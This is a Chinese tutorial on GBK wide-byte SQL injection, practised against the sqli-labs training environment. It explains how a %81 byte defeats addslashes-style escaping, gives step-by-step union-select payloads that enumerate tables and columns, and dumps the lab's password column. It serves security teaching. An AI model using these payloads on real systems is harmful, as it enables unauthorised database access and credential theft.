0x00 概述

- 什么是宽字节注入?

宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可

-宽字节注入的条件

1) 数据库查询设置为GBK编码

2) 使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()这类的过滤函数

- 宽字节注入的原理

假设我们传递一个参数id=1’,当我们输入这个单引号的时候,那么会被认为是非法的字符,会被过滤函数添加“/”给过滤掉,所以我们想要程序接受我们传递的参数里面包含单引号,那么就需要把这个转义字符“/”给干掉,那如何才能干掉?当http协议传输的时候,要经过url编码的,如果这个编码完成后,传递到服务器时,有奇数个数,它会把前面偶数个数的字符当作gbk编码去解码,那么剩下的就当作普通的url去编码,所以我们就可以在单引号之前添加一个%81这样的编码,这样当最后解码的时候,这个%81就会和“/”对应的编码相结合按照gbk的要求去解码,最后就只剩下个单引号,也就得到了我们想要的结果!

0x01 利用sqli-lab的实验环境实现宽字节注入

下载传送门:https://github.com/Audi-1/sqli-labs

0x02 实战演练

1、首先观察正常访问的页面

2、给参数1后面添加一个单引号,观察页面变化:可以看到单引号前面多了一个\的转义字符,那么可以判断后台在处理参数的时候使用了过滤函数进行转义过滤

3、根据之前原理的分析,利用gbk编码的特性来试一下,在‘前面增加一个%81的编码

4、上一步好像那样做过后也没看出什么异常,只是多了一个不认识的符号,这应该是和浏览器页面的编码方式有关,由于我利用的是gbk编码的特性,所以我把页面的编码改成gbk再来看看效果

那么其实更改编码过后,之前的转义符其实就是和%81结合按照gbk的解码方式变成了一个汉字,所以我们输入的单引号就得以逃过过滤函数的转义

5、那么弄明白上面的问题过后,就可以开始一步步的去构造sql语句去查询数据库里面的信息了,在这里选择通过结合union联合查询来注入

1)由于联合查询需要满足列相同,以及类型相似,所以需要先判断一下

构造的sql语句:1%81' union select 1--+

报了列不匹配的错误,那么继续增加,直到不报错为止如下:

当sql语句:1%81' union select 1,3,2--+ 时就没有报错了,说明列匹配了

3)注入得到数据库名字:security

构造的sql语句:%81' union select 1,user(),database()--+

4得到数据库里面的表名:emails,referers,uagents,users

构造的sql语句:%81' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

5)得到数据库的表里面的列名,这里以user来演示

构造的sql语句:%81' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='user'--+

当我这样做的时候,发现报错了,我的table_name的参数使用了引号,那这里的这个引号如何处理呢?我尝试了一下,利用前面的方法不行,所以这里就只能将user进行16进制转码来解决,也就是将‘user’使用0x 75736572来代替;75736572对应的就是user

更改后的sql语句:最后我又添加了一个数据库名的条件,因为只要那个数据库里的users的字段

%81' union select 1,group_concat(column_name),1 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+

最后得到的列名就是:id,username,password

6)得到数据库名,得到表名字和列名字,那么再继续得到数据的内容就跟容易了,如下:

构造的sql语句:%81' union select 1,group_concat(password),1 from users--+

最后成功得到users表里面的PASSWORD字段的数据如下:

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

SQL宽字节注入的更多相关文章

  1. sql宽字节注入,绕过单引号

    参加下面: http://leapar.lofter.com/post/122a03_3028a9 http://huaidan.org/archives/2268.html https://ilia ...

  2. PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击

    首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...

  3. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  4. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  5. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  6. SQL注入:宽字节注入

    了解GBK编码 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的 ...

  7. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

  8. GBK宽字节注入SQL

    SQL注入:宽字节注入(GBK双字节绕过) 2015-06-09lyiang 宽字节注入的作用是非常大的,实际上在代码层的防御一般不外乎两种,一是反斜杠转义,而就是replace替换成空字节,之前的替 ...

  9. SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入

    1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...

随机推荐

  1. 【Leetcode】【Hard】Copy List with Random Pointer

    A linked list is given such that each node contains an additional random pointer which could point t ...

  2. 第八次作业——windows各种基本应用的命令处理方法

  3. 乘风破浪:LeetCode真题_014_Longest Common Prefix

    乘风破浪:LeetCode真题_014_Longest Common Prefix 一.前言 如何输出最长的共同前缀呢,在给定的字符串中,我们可以通过笨办法去遍历,直到其中某一个字符不相等了,这样就得 ...

  4. ZT 获得/修改共享互斥量属性:pthread_mutexattr_t

    bbs.chinaunix.net/thread-965755-1-1.html 5.   获得/修改共享互斥量属性:    #include<pthread.h>    intpthre ...

  5. Debian防御DDOS(简易版本)

    DDOS攻击主要还是靠硬防,不过,对于一些小的骚扰,可以采用DDoS deflate+iptables的方法减轻. ========================================== ...

  6. J2EE项目异常处理(转)

     为什么要在J2EE项目中谈异常处理呢?可能许多java初学者都想说:“异常处理不就是try….catch…finally吗?这谁都会啊!”.笔者在初学java时也是这样认为的.如何在一个多层的j2e ...

  7. 更改mysql数据存储路径

    1.检查mysql数据库存放目录 mysql -u root -prootadmin show variables like '%dir%'; quit; (查看datadir 那一行所指的路径) 2 ...

  8. ES6重点--笔记(转)

    最常用的ES6特性 let, const, class, extends, super, arrow functions, template string, destructuring, defaul ...

  9. C语言支持的四种变量存储类型

    http://blog.csdn.net/zhandoushi1982/article/details/5425835 一)auto:auto称为自动变量(局部变量).局部变量是指在函数内部说明的变量 ...

  10. python中执行shell命令

    查看输出结果 import os output = os.popen('cat 6018_gap_5_predict/solusion2/solusion2_0-1.txt | wc -l') pri ...